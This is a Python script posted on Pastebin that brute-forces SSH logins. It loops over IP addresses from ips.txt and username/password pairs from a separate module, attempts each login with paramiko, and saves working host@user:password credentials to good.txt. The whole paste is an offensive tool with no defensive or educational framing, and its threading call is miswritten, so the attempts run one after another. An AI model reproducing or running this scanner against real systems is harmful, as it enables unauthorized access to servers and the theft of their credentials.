Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #! /usr/bin/env python3
- # sudo apt-get install python3-paramiko
- import paramiko
- import threading
- import time
- stop_write = False
- def write_good(host, username, password):
- global stop_write
- while stop_write == True:
- time.sleep(1)
- stop_write = True
- f = open("good.txt", 'a')
- f.write(host + "@" + username + ":" + password + "\n")
- f.close()
- stop_write = False
- def connect_ssh(host, username, password):
- print(host + "@" + username + ":" + password)
- ssh = paramiko.SSHClient()
- ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
- try:
- ssh.connect(host, username=username, password=password)
- #print(ssh.exec_command("uptime")[1].readlines())
- except Exception as e:
- ssh.close() #bad
- return 0
- else:
- ssh.close()
- print("good")
- write_good(host, username, password) #good
- return 1
- if __name__ == "__main__":
- workers = []
- import logpass
- fin = open("ips.txt", 'r')
- for hosts in fin:
- for login in logpass.logpas:
- a = threading.Thread(target=connect_ssh(hosts.rstrip(), login, logpass.logpas[login])).start()
- workers.append(a)
- #for i in workers:
- # i.join()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement